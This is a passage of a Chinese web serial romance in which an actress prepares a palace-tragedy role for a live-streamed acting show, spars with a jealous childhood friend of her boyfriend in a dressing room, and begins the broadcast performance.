黎昀笙点了点头,转身走向片场角落的休息区,接起电话。 电话那头,秦扬帆的声音带着几分兴奋与急切:“黎总,有好事!《梦想演员》的导演联系我了,邀请栩栩去当助演嘉宾!” 秦扬帆的声音透过听筒传来,带着几分对行业的敏锐洞察:“这是一档网络直播演员综艺,主打‘真实演技对决’,每期邀请几位当红演员和潜力新人合作短剧,全程直播,不剪辑、不NG,完全考验演员的临场反应和演技功底。最近几期因为有几位演技派的神仙打架,热搜就没断过,热度高到离谱,前几期里,有个新人因为即兴发挥惊艳全场,直播结束后粉丝涨了几十万,直接从无人问津变成了小有名气。而且这个节目有个特点,特别喜欢用新人来给当红演员当助演,既给新人曝光机会,又能让当红演员显得有‘提携后辈’的格局,双赢。” 她顿了顿,语气认真了几分:“关键是这次的助演角色很重要,需要颜值高、演技扎实,还不能咖位太大,免得抢了主角的风头。栩栩现在靠着之前的舞蹈视频和八卦热度正火,但说到底还是个新人,这个角色简直就是为她量身定做的!不过……”秦扬帆的语气里多了几分顾虑,“这是直播性质的综艺,如果演错了、说错话了,都没办法改,很容易被黑粉抓住不放,我有点担心。” 黎昀笙听着,目光不自觉地投向不远处的温栩栩,她正坐在休息椅上,低头看着手机里刚才拍摄的片段,嘴角带着浅浅的笑意,阳光落在她的侧脸,像镀上了一层柔和的金边。 他轻声回应:“我明白你的顾虑,这事我跟秦肆和栩栩商量下,再给你答复。” 挂了电话,黎昀笙走到温栩栩身边,还没开口,秦肆就从旁边的摄影机旁走了过来,手里还端着一杯冰美式,墨镜随意地推在额头上,露出一双带着几分邪气与锐利的眼睛。 他看着两人忍不住轻啧一声,语气里满是调侃:“能不能注意点?这里是片场,虽然现在没什么人,但你们这样,很容易让人误会剧组有‘情侣特权’啊。” 黎昀笙挑眉,嘴角带着几分漫不经心的笑意:“这不是片场还没什么人,而且你什么不清楚什么不知道?我和栩栩的关系,大家心里都有数。” 他语气坦然,没有丝毫避讳,反而带着几分“事实如此”的笃定。 秦肆看着他那副理直气壮的样子,忍不住摇了摇头,无奈地笑了:“行吧,确实有道理。” 他走到温栩栩身边,将手中的冰美式放在一旁的桌子上,目光落在温栩栩身上,语气认真了几分:“秦扬帆刚才联系了昀笙,说有一档叫《梦想演员》的网络直播演员综艺,邀请你去当助演嘉宾。” 第1488章 悲剧的开端 “这节目现在热度很高,是个很好的曝光机会,而且能让你用演技说话,正好可以弥补《灵媒》还没播出、你暂时缺乏演技证明的空档。” 温栩栩听到“《梦想演员》”这个名字,眼睛顿时亮了起来。 她之前就刷到过这档综艺的片段,里面那些演员对戏的激烈碰撞、即兴发挥的精彩瞬间,让她看得热血沸腾。 这是她一直向往的、纯粹的演技舞台。她看向秦肆,眼底满是期待:“真的吗?秦导,这节目我之前就看过,里面的演员都好厉害!而且是直播形式,能真正考验演技,我当然想参加!” 秦肆看着她眼底那团燃烧的火焰,忍不住笑了。 他知道温栩栩对演技的执着,知道她不想只靠颜值和热度吃饭,而是想用真正的实力站稳脚跟。 他点了点头,语气带着几分欣赏:“好,我支持你。不过你也得知道,直播综艺压力很大,不能出错,一旦出错,黑粉肯定会借题发挥。你确定要参加吗?” 温栩栩笑了:“我有信心的,秦导,我的演技应该还是经得起网络直播的。” 秦肆点了点头,语气轻松了几分:“好,那我就放心了。对了,这节目这周就开始录制,剧本我马上发你,不出意外的话明天你就要去救场了。” 秦肆端起桌上的冰美式喝了一口,“我先去整理下刚才的素材,你们聊。” 黎昀笙低头看向怀里的温栩栩,指尖轻轻拂过她的脸颊,语气带着几分低沉的温柔:“真的不紧张吗?直播综艺,压力很大的。” 温栩栩仰头看向他:“紧张肯定有一点,但更多的是期待。这是很好的机会。而且,有你在,我就不怕。”她伸手轻轻环住他的腰,将脸埋进他的颈窝,声音闷闷的,却带着十足的坚定,“无论结果怎么样,我都会努力做到最好,不会让你失望,也不会让喜欢我的人失望。” 黎昀笙感受着她身体传来的温度,听着她坚定的话语轻轻拍了拍她的背,语气带着几分宠溺:“好,我相信你。无论结果怎么样,我都会在你身边。如果累了,就停下来,我随时都在。” 两人先回了酒店,温栩栩指尖刚触到秦肆发来的剧本文件,便有一只温热的手掌轻轻覆在她手背上。 是黎昀笙,他凑近了些,目光扫过屏幕上密密麻麻的台词与场景标注,却没有丝毫被打扰的不耐,反而带着几分专注的温柔。 “先看看,有任何觉得需要修改的地方都跟我说,我去跟秦肆沟通。”他的声音压得极低,像是怕惊扰了温栩栩的思绪。 桌角的台灯将他的侧影拉得很长,映在剧本边缘,恰好为温栩栩挡住了一片刺眼的光线。 他看似在翻阅自己那份堆积如山的文件,那是《灵媒》的后期预算与宣传方案,每一页都标注着密密麻麻的批注,可目光却总在不经意间飘向温栩栩的方向,看她蹙眉思索某个情绪转折时,他指尖会无意识地停顿,看她轻声念出某句台词,眼底泛起细碎的光时,他眼底的笑意便会更深几分。 其实黎昀笙手上的工作早已堆积如山,制片人需协调的各方事宜、与投资方的对接、后期团队的进度把控,每一项都容不得半点差池。可即便如此,他还是推掉了下午一个重要的线上会议,只为守在温栩栩身边。 他清楚地知道,温栩栩为了《梦想演员》的直播综艺,心里既期待又带着压力,毕竟这是她第一次在直播镜头下展现演技,且角色分量不轻。 他不想让她独自面对这份忐忑,哪怕只是安静地坐在旁边,看着她认真研读剧本的样子,也能让她多几分安心。 温栩栩翻页时,指尖不小心碰到了桌角的水杯,水杯微微晃动,眼看就要倾倒。 黎昀笙瞬间伸手稳稳扶住,另一只手已经利落地抽出桌上的纸巾,轻轻擦去溅出的水渍,动作流畅得像是演练过无数次。 “小心点,别弄湿了剧本。”他语气里带着几分责备,眼底却满是关切,指尖轻轻拂过她指尖,像是在安抚她因小意外而产生的些许慌乱。 温栩栩抬头看他,眼底满是温柔的笑意:“你怎么这么细心?我都没注意到。” “因为你总这么粗心。”黎昀笙轻笑,指尖轻轻点了点她的额头,“再者,我不看着你,谁看着你?”他说着,又将自己面前的文件往旁边挪了挪,空出更多位置,方便温栩栩摊开剧本。 阳光透过片场的窗户洒进来,落在他身上,为他镀上一层柔和的光晕。 他偶尔低头处理文件时,眉眼间的认真与专注,与看向温栩栩时的温柔形成鲜明对比,他在意她的一切,在意她的梦想,也在意她此刻为梦想付出的每一分努力。 温栩栩指尖划过剧本上“替身”两个字,墨色的字迹仿佛带着重量,压得她指尖微微发沉。 这是一出藏在锦绣宫墙里的悲剧,每一页台词都浸着权谋的冷与人心的凉,而她要饰演的,是那个被爱与恨反复撕扯的温萝,一个个从云端跌落泥沼,最终以复仇为刃、却也沦为他人替身的皇后。 故事始于京都的春日,温萝作为大将军独女,是满城贵女艳羡的焦点。 剧本里这样描述她的少女时光:“温氏萝,生得眉如远山含黛,眼似秋水盈盈,兄长温意笑言‘我的妹妹,该是这京都最娇的花’。将军夫人总嗔怪温意惯着她,却也由着父女兄妹三人玩笑,那满院的海棠香,都沾着几分暖意。” 温萝的天真烂漫,是温家给她的铠甲,也是后来刺穿她心脏的利刃。 皇帝唐珏对她的“宠爱”,是这场悲剧的开端。 剧本中,唐珏对温萝的纵容堪称极致。 她闹着要换男装出宫,他便摘下龙冠,与她并肩走在市井街头,看她对着糖人摊笑得眉眼弯弯,自己也跟着弯了唇角,她任性地要在宫中放烟火,哪怕夜深惊扰了众妃,他也只是笑着揽她入怀,说“朕的皇后,想做什么便做什么,天下皆可”。 第1489章 黎昀笙对苏婉的态度 世人皆道唐珏独宠温萝,说这是帝王家难得的真心,可温栩栩读到这里,指尖却泛起一阵凉意。 这份“独宠”,从一开始就带着算计的温度。 温家的覆灭,将这场虚假的繁华彻底撕碎。 温萝的父亲与兄长在边境遭人诬陷,被扣上“卖国贼”的帽子,一夜之间,将军府的匾额被摘下,温意为保父亲性命,主动顶罪,被押赴刑场问斩,父亲得知消息后怒火攻心,病逝于府中。 剧本里,温萝得知噩耗时的场景写得极有冲击力:“温萝跌坐在佛堂的蒲团上,指尖攥着的佛珠被生生捏断,珠子滚落一地,发出清脆的声响,却比不上她心底的裂痕更刺耳。她望着佛龛上的金身,喃喃自语‘陛下,您说过会护我温家周全的……’,可话未说完,便咳出一口血,染红了素白的衣襟。” 从此,温萝开始久病不起,白日里吃斋念佛,夜里却睁着眼睛望着宫灯,心底那股“要为温家翻案”的执念,成了她活下去的唯一支撑。 转折点出现在一个雨夜。 温萝的宫人偶然间看到唐珏深夜急匆匆前往冷宫,神色慌张又带着几分隐秘的温柔。 温栩栩读到这里,仿佛能看到温萝眼底的疑惑与不安,她派人暗中盯着,终于发现,自她久病后,唐珏每日都会宿在冷宫,甚至与冷宫中的“废人”痴缠恩爱。 温萝再也按捺不住,跟着唐珏去了冷宫,却看到了此生最荒唐的一幕。 那个本该被诛杀的兄长温意,正被唐珏揽在怀中,二人眼神交缠,满是旁人无法介入的缱绻。 真相像一把淬了毒的刀,刺得温萝遍体鳞伤。 剧本里,唐珏与温意的对话揭露了所有秘密:“朕念书时,伴读唯有你,朕对你……” 唐珏的声音带着几分隐忍的情愫,“可朕是天子,不能娶你,只能娶与你相貌相似的温萝,这样她生下的孩子,便会有你的影子。” 而温意靠在他怀里,语气带着几分偏执的疯狂:“我早就猜到你要毁温家,可只要能留在你身边,温家算什么?父亲算什么?兄长算什么?” 温萝躲在暗处,看着这幕“痴情戏”,只觉得胃里一阵翻涌。 她一直以为的“独宠”,不过是唐珏将她看做温意的替身。 而她一直敬重的兄长,为了那浅薄的帝王之爱,竟亲手毁掉了温家,毁掉了她的整个世界。 “恶心……”温栩栩读到这里,指尖微微颤抖,仿佛能感受到温萝心底翻涌的恨意与绝望。 她不是软弱的女子,更不会任由别人践踏温家的尊严。 剧本中,温萝开始布局复仇。 她借贵妃之手,将毒药混入唐珏的药膳中,看着唐珏在痛苦中咽下最后一口气,眼底没有丝毫波澜,又废掉温意的双手双脚,将他像囚鸟一样养在冷宫,让他日日看着自己曾经“心爱”的帝王死去的模样,承受着无尽的折磨与悔恨。 可复仇的终点,并非解脱。 当小皇帝登基,温萝以皇太后的身份垂帘听政时,她却在某个阳光明媚的午后,忆起了少年时的回忆。 剧本里这样写:“温萝望着殿外的海棠,恍惚间回到了初见安亲王的那一天。那是个春日,少年温润如玉,一身素白长衫,手持折扇立于海棠树下,见她追着蝴蝶跑来,笑着递过一支刚折的海棠,声音温和如春风:‘小妹妹,莫要摔着了。’”那时的安亲王,才是温萝心底真正的光。可唐珏将她看做温意的替身,殊不知,温萝早已将唐珏看做安亲王的替身,她对唐珏的“爱”,不过是借着他的模样,追忆着那个早已逝去的少年。 温栩栩合上剧本,指尖还停留在“替身”两个字上。 这出戏的复杂远超她的想象,温萝不是简单的“受害者”或“复仇者”,她是一个在爱与恨、真与假、复仇与执念中挣扎的女子。 她对唐珏有过真心,哪怕这份真心是建立在谎言之上,她对温意有过兄妹之情,可这份亲情最终沦为权谋的牺牲品,而她对安亲王的追忆,是她心底最后的柔软,也是她沦为“替身”的悲剧注脚。 要演好这个角色,不仅要把握住温萝从天真到冷硬、从绝望到决绝的情绪转变,更要演出那份“替身”的荒诞与悲凉,让观众看到角色的复杂与真实。 黎昀笙看着温栩栩凝重的神情,轻轻握住她的手,指尖的温度驱散了几分剧本带来的寒意:“很难,但你一定能演好。” 他知道,温栩栩对角色的理解向来深刻,而这个温萝,有着与她相似的坚韧。 哪怕身处绝境,也从未放弃过自己的信念。 …… 温栩栩的车缓缓停在《梦想演员》综艺录制现场的入口,车窗外是此起彼伏的快门声与记者们急切的呼喊,可这些声音并未落在她的车旁。 她的目光穿过车窗玻璃,落在前方那辆低调却奢华的黑色轿车上。 记者们像潮水般涌向那辆车,长枪短炮的镜头恨不得挤破车窗,连节目组的导演都快步上前,脸上堆着格外殷勤的笑容,弯腰等候在车门旁,仿佛迎接的不是嘉宾,而是位顶流巨星。 “是苏婉。”温栩栩的指尖无意识地攥紧了裙摆,指节泛白,声音轻得像一片羽毛,却带着难以掩饰的颤意。 她当然认识苏婉,那个与黎昀笙一起长大的青梅竹马,如今圈子里风头正劲的二线女艺人。 之前苏婉与王双双联手设计她的事,她从未真正释怀,那些刻意的刁难、恶意的陷害,虽因黎昀笙的介入没有造成无法挽回的后果,可那份被亲近之人背叛的痛,依旧藏在心底某个角落。 更让她心慌的,不是苏婉的名气与地位,而是黎昀笙对苏婉的态度。 黎昀笙虽曾说过不让苏婉借着他的名号谈合作,可苏婉利用黎家的资源、打着黎家的旗号接下的那些代言与戏份,黎昀笙从未真正阻止过。 第1490章 你了解他吗 这份“不阻止”,像一根细小的刺,扎在温栩栩与黎昀笙的感情里,让她在看到苏婉的这一刻,突然没了底气。 她不怕演技上的竞争,不怕综艺里的镜头考验,却怕苏婉的出现,会让黎昀笙想起那些共同长大的时光,怕自己与黎昀笙之间那点来之不易的安稳,会被这份“旧相识”打破。 车门打开,温栩栩深吸一口气,努力扯出一个得体的笑容走下车。 可周围的记者依旧围着苏婉的车,鲜少有人注意到她。 她像一片被忽视的落叶,安静地穿过人群,走向节目组的工作人员指引的方向。 风卷起她的裙摆,带着几分凉意,她忍不住抬手拢了拢衣领,心底的慌乱愈发浓重。 “温栩栩!”终于有记者发现了她,快门声稀稀拉拉地响起,可那热度与苏婉相比,简直是天壤之别。 工作人员连忙上前,带着她往化妆间走,边走边低声解释:“温小姐,不好意思啊,苏婉老师最近热度高,又是黎少的青梅,所以记者们关注得多些,您别介意。” 温栩栩摇了摇头,勉强笑了笑:“没关系,我理解。” 可心底的苦涩却愈发浓重。 她不是介意记者的偏心,而是介意黎昀笙对苏婉的纵容,介意自己在这份感情里,始终像个“后来者”,哪怕黎昀笙对她再好,可只要苏婉出现,她就会忍不住想起那些不安的过往。 化妆间里,温栩栩坐在镜子前,看着镜中的自己,眼底满是迷茫。 她想起黎昀笙离开前,温柔地抱着她,指尖轻轻拂过她的发丝:“栩栩,这次峰会很重要,我必须去,但我会让助理全程跟着你,有任何事随时给我打电话,我会第一时间赶回来。” 那时的她,还满是自信地笑着点头,说会好好表现,可现在看到苏婉,那些自信仿佛瞬间被抽空。 “温老师,你在想什么?”化妆师的声音打断了她的思绪,她回过神,看着镜中逐渐恢复平静的脸,眼底闪过一丝坚定。 她不能慌,黎昀笙对她的好,是实打实的。 他会在她熬夜看剧本时,默默递上一杯热牛奶,会在她面对压力时,紧紧握住她的手,说“有我在”,会为了她,推掉重要的应酬,陪她待在片场。这些点点滴滴的温暖,远比苏婉的出现更真实,更值得她去守护。 苏婉推门进来时,化妆间里的气氛瞬间变了。 她穿着一身精致的礼服,妆容完美,脸上带着得体的微笑,目光落在温栩栩身上时,笑意却未达眼底:“栩栩,好久不见。” 那语气,像在招呼一个久未谋面的朋友,可那份疏离与居高临下的姿态,却让温栩栩心里一紧。 温栩栩站起身,礼貌地回应:“苏婉姐,好久不见。” 她尽量让自己看起来平静,可指尖依旧紧紧攥着裙摆,心底的慌乱并未完全消散。 她看着苏婉在化妆镜前坐下,化妆师立刻围了上去,殷勤地为她补妆,与自己刚才受到的冷落形成鲜明对比。 “这次综艺,我们可能会有很多对手戏,到时候还要请你多指教。”苏婉看着镜中的温栩,语气里带着几分刻意的温和,可那双眼睛,却像在审视一件物品,让温栩栩浑身不自在。 温栩栩点了点头,声音依旧平稳:“苏婉姐,我会努力的,也希望能跟您好好合作。” 她知道自己不能示弱,不能让苏婉看出自己的慌乱,更不能让黎昀笙担心。 可心底的那根刺,依旧在隐隐作痛,她不知道苏婉的出现,是否会给黎昀笙带来困扰,更不知道自己该如何面对这份“旧相识”的竞争。 …… 温栩栩没想到这么快又遇到苏婉,甚至还是在同一间化妆间。 化妆间内,暖黄的灯光洒在巨大的镜面之前,映出两张截然不同的脸。 一张笑意盈盈,眼波流转,像是春水初融,另一张则笑意勉强,眉梢微压,仿佛春风未至,寒意已生。 苏婉依旧维持着那副温婉得体的笑容,指尖轻轻搭在化妆台边缘,指甲上是精心绘制的裸粉色花瓣纹路,精致得近乎刻意。 她望着镜中那个比自己更明艳、更从容的女人。 温栩栩,正慵懒地靠在椅背上,任由化妆师轻手轻脚地为她描眉上粉,仿佛这场对峙于她而言,不过是一场无关紧要的消遣。 “你不猜猜看,我们为什么会在一个化妆室吗?”苏婉终于开口,声音轻柔,像是一缕风拂过耳畔,带着几分故作神秘的俏皮。 温栩栩偏过头,眸光轻闪,似笑非笑地看了她一眼,唇角微扬:“哦?那你说说,是什么天大的缘分,让苏老师和我共用一间化妆间?” “是我安排的哦。”苏婉笑意加深,眼底却悄然掠过一丝锋芒,“我真的很想跟你近距离接触一下呢。毕竟……我也真的很想知道,阿笙最近接触的人,到底是什么样的。” 她顿了顿,语气忽然柔和下来,像是在回忆什么久远的旧事:“你知道的,我跟阿笙从小一起长大,没有人能比得上我们之间的感情。那种青梅竹马的羁绊,不是谁都能懂的。所以……你能明白吗,温栩栩?” 她的声音很轻,却字字如针,悄然扎进空气里。 温栩栩没有立刻回答。她只是微微抬眼,透过镜面静静地看着苏婉的倒影。 那双眼睛太亮了,亮得像是盛满了星光,又像是藏着一把未出鞘的刀。 她终于勾起唇角,笑意温软,却无半分退让:“你想让我明白什么呢?” “你在装傻吗?”苏婉语气微沉,笑意终于有了一丝裂痕。 “我觉得,是你在装傻。”温栩栩轻声回应,语气轻得像一片羽毛,却重重落在人心上。 苏婉一怔,脸上的笑容微微僵住:“你说什么?” 温栩栩却像是没看见她的变化,依旧懒懒地靠在椅背上,任由化妆师为她刷上腮红。 她像是忽然来了兴致,转过头,直视苏婉:“你抱过他吗?你吻过他吗?你和他做过更亲密的事情吗?你知道他喜欢的香水味道吗?你知道他睡前一定要听哪首钢琴曲吗?你清楚吗?你了解吗?” 第1491章 不被爱的,才最可笑 一连串的问题,像是一记记耳光,毫不留情地甩在苏婉脸上。 化妆间的空气瞬间凝滞。 化妆师低着头,手微微发抖,连粉扑都差点掉落。 她不敢出声,只敢在心底暗自叫苦,这哪是化妆间,分明是战场。 苏婉的脸色终于沉了下来,眼底的温柔彻底褪去,取而代之的是一抹压抑的怒意:“温栩栩,你这样就没意思了。” “怎么?”温栩栩挑眉,笑意不减,“不是你先挑衅我的吗?” “你——”苏婉咬牙,死死盯着她,像是要把她看穿。 可温栩栩却依旧笑吟吟的,那双眼睛里闪着光,像是被宠坏的孩子,肆无忌惮,无所畏惧。 “苏老师脸色有点难看呢。”温栩栩忽然轻叹一声,语气竟带着几分“关切”,“苏老师长得本来就不够漂亮,这样瞧着,又失了几分颜色了。” 这句话一出,连空气都冷了下来。 苏婉的脸色瞬间铁青。她不是没被人说过不好听的话,可从温栩栩嘴里说出来,却像是裹着蜜的毒药,甜得让人发腻,毒得让人窒息。 “温栩栩!”她终于压抑不住,声音微颤,“你在嚣张得意什么?” “不是你先开始的吗?”温栩栩反问,语气轻飘飘的,像是在讨论今天的天气。 她任由化妆师继续为她整理发丝,姿态慵懒,仿佛这场对峙对她而言,不过是一场小游戏。 化妆师大气不敢出,只觉得背脊发凉。她从未见过这样的温栩栩,平日里她温柔优雅,笑意盈盈,可今日,却像是一只终于亮出利爪的猫,优雅中藏着锋利,温柔里透着杀机。 苏婉死死盯着她,盯着这张被黎云笙宠得无法无天的脸,心底翻涌着难以言喻的嫉妒。 她嫉妒温栩栩的美,嫉妒她的从容,嫉妒她那副“什么都不在乎”的姿态。 更嫉妒的是黎云笙看她的眼神,是她从未拥有过的。 “我们一起长大的交情!”苏婉终于开口,声音带着一丝颤抖,像是在提醒自己,也像是在质问温栩栩,“我们的感情……不是你能理解的。” 可话未说完,就被温栩栩轻飘飘地打断:“嗯,对对对,你们感情很好。” 她顿了顿,唇角勾起一抹极淡的笑,眼底却冷得像冰:“所以……她亲过你吗?” 轰—— 这句话,像是一道惊雷,狠狠劈在苏婉心上。 她整个人僵住,瞳孔微缩,像是被戳中了最不堪触碰的软肋。 亲过他吗? 没有。 她从未亲过黎云笙。 他们一起长大,一起上学,一起走过无数个春夏秋冬。她为他熬过病中的夜,为他挡过流言蜚语,为他放弃过无数机会。 可他从未牵过她的手,从未拥抱过她,更别说……亲吻。 而温栩栩呢? 她才出现多久? 不过几个月,就轻而易举地走进了黎云笙的世界,成了他口中“唯一想共度余生的人”。 “你……”苏婉咬着下唇,指甲深深掐进掌心,声音几乎是从牙缝里挤出来的,“你根本不懂我们之间的感情。” “我不懂?”温栩栩轻笑一声,终于转过身,正视她,“我只知道,感情不是靠‘一起长大’四个字就能维系的。如果真那么深厚,为什么他从没对你动过心?为什么他宁愿等一个‘后来者’,也不愿回头看你一眼?” 她每说一句,苏婉的脸色就白一分。 “你闭嘴!”苏婉终于失控,声音尖锐,“你根本不知道我为他付出了多少!你什么都不知道!” “我知道。”温栩栩却忽然收起笑意,目光沉静,“我知道你为他做过什么,也看得出你有多不甘心。可苏婉,感情不是付出就有回报的。” 她站起身,裙摆轻扬,像是一朵在风中绽放的花。她走到苏婉面前,距离近得能看清她眼底的红血丝。 “你问我为什么得意?”温栩栩轻声说,“因为他现在宠着的人是我。” 苏婉怔住,眼底终于泛起一层薄薄的水光。 她是真的在恨温栩栩了。 温栩栩敢在黎云笙面前撒娇,敢在他怀里哭,敢在他耳边说“我爱你”,也敢当着所有人的面,宣告自己的主权。 她不是在炫耀,她只是在陈述事实。 而这个事实,比任何羞辱都更让人难以承受。 “你赢了。”苏婉终于开口,声音沙哑,“你赢了。” 温栩栩却摇了摇头唇角都还带着一抹轻笑。 她转身,重新坐回化妆镜前,轻声道:“化妆师,继续吧。” 化妆间内,只剩下粉刷轻扫的声音,和苏婉压抑的呼吸。 良久,化妆间内沉寂如深潭。空气仿佛凝固,连灯光都显得格外沉重。 苏婉终于开口,声音低哑,像是从喉咙深处挤出来的:“温栩栩,你真的……那么确定他爱你吗?” 她问得极轻,却像一把钝刀,缓缓割开这虚假的平静。 她盯着温栩栩的背影,那道身影在镜中显得那样从容,那样笃定,仿佛全世界都在她掌心旋转。 温栩栩没有回头。她只是静静地看着镜中的自己,眼底泛着一层淡淡的光,像是月光落在湖面,清冷而疏离。 她轻轻启唇,声音轻得像风拂过耳畔:“我不确定。” 苏婉微微一怔,眼底闪过一丝错愕。 “但我也并不那么在意他是不是爱我。”温栩栩继续道,唇角微微扬起,笑意却不达眼底,“只想着爱与不爱的话,你这辈子岂不是太可怜了。” 这句话像是一根细针,精准地刺入苏婉心底最深的伤口。 她冷笑出声,声音里满是讥讽:“得了他的爱,还要在这里装作一副不在意的模样,你真可笑。” “可笑?”温栩栩终于抬眸,目光如刀,直直刺向苏婉,“不被爱的,才最可笑。” 她的眼神深了几分,像是幽潭深处泛起的涟漪,带着某种近乎悲悯的锐利:“你守了他那么多年,他可曾为你多停留一秒?你为他放弃的那些机会,他可曾问过一句‘你值得吗’?你连说‘我喜欢你’的勇气都没有,却在这里质问我是否确定被爱?” 第1492章 敢跟我打赌吗? 每说一句,苏婉的脸色就苍白一分。她死死攥紧拳,指甲几乎嵌进掌心,指节泛白,仿佛只有疼痛才能让她维持住最后的体面。 “你懂什么?”她终于低吼出声,声音颤抖,“你不过是个后来者,凭什么站在这里审判我?” “我不是审判你。”温栩栩缓缓转过身,正视她,“我只是在告诉你,你所谓的‘深情’,不过是一场自我感动的执念。” 苏婉的面容瞬间扭曲了一瞬,像是被戳中了最不堪的软肋。 可她很快又恢复了那副温婉的模样,唇角扬起,笑意却冷得像冰:“听说,你要出演《替身》的剧本?” 温栩栩挑眉:“是。” “你敢跟我打赌吗?”苏婉往前一步,眼神锐利如刀,“就赌这次在演员综艺里,谁拿的票数多。” 化妆师屏住呼吸,手里的粉刷差点掉落。 温栩栩却像是听到了什么极有趣的事,轻轻点头,笑意慵懒:“好啊,拭目以待。” “你不怕输?”苏婉冷笑,“输了的人,要公开道歉,承认自己配不上黎云笙。” 温栩栩终于笑了,笑得肆意而张扬:“苏婉,你还是不明白,我从不为‘配得上谁’而活。但既然你执意要赌,那我奉陪到底。” 她站起身,裙摆轻扬,像是一只即将展翅的凤凰:“不过,若我赢了,你得答应我一件事,从此以后,别再以‘青梅竹马’的名义,去打扰他的生活。” 苏婉瞳孔骤缩,像是被狠狠抽了一记耳光。 她死死盯着温栩栩,像是要将她看穿。可对方却只是笑着,那双眼睛里,没有挑衅,没有得意,只有一种近乎慈悲的平静。 “好。”苏婉终于开口,声音冷得像冰,“我赌。” 门被重重关上,化妆间内只剩温栩栩一人。 她缓缓坐回椅上,望着镜中的自己,笑意渐渐褪去,眼底浮起一丝疲惫。 化妆师小心翼翼地问:“温小姐,您……真有把握吗?苏婉的演技……” 温栩栩轻笑说她有演技,难道我就没有吗 温栩栩不在意苏婉的挑衅,因为她有绝对的自信。 …… 演员综艺正式开始直播,这档综艺是直播的形式来演一出戏,现场全程直播,在影视城里面直播。 直播开始的钟声在影视城上空响起,镜头缓缓推进,一片桃林深处,春色如酒,风拂过花瓣纷飞。 一匹枣红骏马踏破晨雾疾驰而来,马蹄声清脆,惊起林中飞鸟。 镜头拉近,一名少女一身红衣,鲜衣怒马,像是一团燃烧的火焰,闯入这静谧的画卷。 她发髻高挽,鬓角垂落几缕碎发,随风轻扬。 马鞭在她手中轻巧一扬,骏马长嘶一声,稳稳停住。 特写镜头缓缓落在她勒住缰绳的手上,那是一双莹白如玉的手,指尖纤细,像是从未沾过尘世烟火,柔弱到仿佛没有骨头。 可就是这样的一双手,却紧紧攥着一根乌黑发亮的马鞭,鞭梢微微扬起,泛着冷光,与她白皙的肌肤形成鲜明对比,更衬得她肤如雪、色如霞,鲜活生动得不像凡人。 她翻身下马,动作轻盈如燕,落地无声,怀中抱着一只圆润可爱的白兔,毛茸茸的耳朵轻轻抖动。 她提着裙角,小跑着朝远处奔去,发带飘扬,笑声清脆,像是春日里最灵动的风铃。 远处,两名男子立于桃树之下。 一人身着华贵锦袍,眉目温润,气质如玉,正是女主角温萝的大哥温意。 另一人只着一袭素黑劲装,样式普通,却难掩其风姿。 他懒洋洋地倚着树干,眉峰轻挑,眸光流转间,一股子慵懒之意裹挟着几分轻浮,偏偏怀里抱着一柄长剑,剑鞘古朴,剑气隐现。 两人几乎同时察觉到她的靠近,默契地对视一眼。 那轻浮男子正是唐珏。 唐珏唇角微扬,忽然将手中长剑一掷,剑身在空中划出一道银光,稳稳落入温意怀中。 下一瞬,少女已扑入他怀里,像只撒娇的小猫:“阿珏!看我捉到什么了!” 温意一手搂住她,一手轻轻捏了捏她的鼻尖,声音低哑带笑:“这么开心?莫不是捉到那只通体雪白的狐狸了?” 温栩栩饰演的“温萝”顿时蔫哒哒地垂下头,桃花眼里的星光瞬间黯淡:“没呢……我追了好久,它跑得太快了,我学艺不精,没能捉住……” 她语气委屈,像只被雨淋湿的小兔子。 “一只雪狐有何难捉?”唐珏低笑,眼神却骤然锐利,仿佛刀锋出鞘,“我这便给你捉一只回来。” 他语气随意,却带着不容置疑的笃定。说完,他翻身上马,动作行云流水,马鞭一扬,骏马长嘶,踏着落花远去。 镜头缓缓拉远,留下温萝与大哥立于桃林。温萝仰头望着唐珏远去的背影,眼神复杂,有依赖,有眷恋,还有一丝难以察觉的忧伤。 温意低头看她,轻声道:“他总会为你去追的,哪怕是一只狐狸。” 温萝抿唇一笑,将怀中的兔子搂得更紧:“可我想要的,从来不是狐狸啊。” 直播间画面还在继续。 温意身姿勃然英气,一袭玄色劲装衬得他肩宽腿长,翻身上马时动作干脆利落,马蹄扬起尘土,身影如箭般疾驰而去。 风掠过他的衣角,猎猎作响,仿佛连天地都在为他让路。 温萝立于原地,望着他远去的背影,眼底只余惊艳,像是被那抹决绝的英气摄去了心神。她怀中的兔子轻轻挣扎了一下,她才回神,指尖轻抚兔毛,唇角微扬,却掩不住眸中那一缕怅然。 十日后,皇都沸腾。 天光破晓,宫门大开,金銮殿前红毯铺地,文武百官列队相迎。 一乘凤辇自皇城外缓缓行来,四角垂挂流苏,金线绣着凤凰展翅,华贵至极。 辇中端坐的女子,一袭正红凤袍,金线勾边,绣满祥云瑞兽,头戴七宝凤冠,珠帘轻晃,映出她明艳绝伦的容颜,正是温萝。 她以一国之母之尊,被正式迎入皇宫。 镇国将军之女,皇都第一美人,才貌双全,德行兼备。世人皆知,皇帝唐珏倾心于她已久,从初见时的惊鸿一瞥,到如今的凤冠加身,不过短短数月,却似已走过千山万水。 第1493章 直播戏中戏 坊间话本早已传遍,街头巷尾皆在传颂:“帝心独钟,非卿不娶,皇后温氏,帝宠无双。” 宫墙内外,百姓仰望,无不赞叹。提起皇帝唐珏,必说起他的爱妻温皇后。他们说,帝后同游御花园,唐珏亲手为她折梅,他们说,温后偶感风寒,唐珏亲守榻前,彻夜未眠,他们说,朝堂之上,唐珏曾为她一句“不愿见杀戮”,暂缓边关征兵令。 恩爱二字,早已刻进这段传奇。 此刻,温萝端坐凤辇,目光平静地望向巍峨宫门。她知道,从今日起,她不再是那个追着雪狐奔跑的少女,也不再是桃林中撒娇邀宠的温萝。她是温皇后,是一国之母,是那个被万人仰望、被帝王深爱的女人。 可她心底,却有一丝极轻的空落,像是一缕风穿堂而过,无声无息。 她望向宫道尽头,仿佛还能看见那道玄色身影策马远去,马蹄扬起尘土,背影决绝。而身旁,唐珏已缓步走来,伸出手,掌心朝上,低声道:“阿萝,我来接你了。” 她抬眸,对上他深邃的眼,那里面盛着她熟悉的温柔与执拗。她轻轻将手放入他掌心,指尖微凉,却被他紧紧握住。 大典开始,钟鼓齐鸣,礼乐悠扬。 她随他步入金銮殿,百官跪拜,山呼万岁。她立于帝侧,凤冠珠帘轻晃,映出满殿华光。她笑了,笑得端庄,笑得幸福,笑得仿佛这世间所有美好都已握在手中。 可只有她知道。 有些爱,是追来的,有些爱,是等来的。 而她,终究成了被等来的那个人。 直播镜头缓缓拉远,定格在帝后并肩而立的身影上。 弹幕如雪片般飘过: 【温萝封后这段太美了……我哭了!】 【唐珏的眼神,真的像在看一生所爱。】 